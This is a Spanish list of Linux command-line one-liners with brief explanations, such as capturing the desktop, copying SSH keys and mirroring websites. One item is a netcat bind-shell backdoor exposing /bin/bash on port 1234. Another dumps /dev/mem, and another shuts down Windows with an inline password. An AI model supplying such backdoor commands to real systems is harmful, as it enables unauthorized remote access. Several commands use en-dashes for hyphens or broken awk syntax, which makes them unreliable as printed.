- ffmpeg –f x11grab –s wxga –r 25 –I :0.0 –sameq /tmp/out.mpg – captura el video de un escritorio Linux.

- $ssh-copy-id user@host – copia las claves SSH a user@host para permitir inicios de sesión sin contraseña SSH.

- mtr google.com – mtr combina la funcionalidad de traceroute y ping.

- cd - – cambia a directorio de trabajo anterior.

- :w !sudo tee % – guarda un fichero que has editado en vim sin los permisos necesarios.

- python –m SimpleHTTPServer – ejecuta un servidor web en el directorio actual accesible mediante http://$HOSTNAME:8000/.

- sudo !! – ejecuta el último comando como root.

- wget –random-wait –r –p –e robots=off –U mozilla http://www.example.com – descarga un sitio web entero.

- du -h --max-depth=1 – lista el tamañao de todos los subdirectorios desde la posición actual.
- man ascii – acceso rápido a la tabla ASCII.

- net rpc shutdown –I WindowsIPAddr –U user%password – apaga un Windows desde Linux.
- (cd /tmp && ls) – salta a un directorio, ejecuta un comando y vuelve al directorio actual.

- ps –aux | sort –nk + 4 | tail – muestra el top 10 de procesos ordenados por uso de memoria.

- history | awk ‘{a[$2]++}END{for(i in a}{print a[i] “ ” i}’ | sort –rn | head – lista los comandos más usados.

- ping –i 60 –a IPAddr – configura una alarma sonora cuando la dirección IP se pone en línea.
- echo “you can simulate on-screen typing” | pv –qL 10 – simula escritura.

- python –m smtpd –n –c DebuggingServer localhost:1025 – arranca un sencillo servidor SMTP escuchando en el puerto 1025 de localhost.

- lsof –i – ver la actividad del servicio de red en tiempo real.

- mplayer –ao pcm –vo null –vc dummy –dumpaudio –dumpfile – ripea audio desde un fichero de video-

- sudo dd if=/dev/mem | cat | strings – muestra todos los valores string en memoria.
- cat /etc/issue –  muestra la distribución Linux instlada.

- wget –qO – http://www.tarbal.com/tarball.gz | tar zxvf - – extrae tarball desde Internet.

- nc –vv –l –p 1234 –e /bin/bash – crea un backdoor para permitir conexiones remotas a bash.

Referencia:http://www.hackplayers.com/2013/04/algunos-comandos-en-linux-que-deberias-conocer.html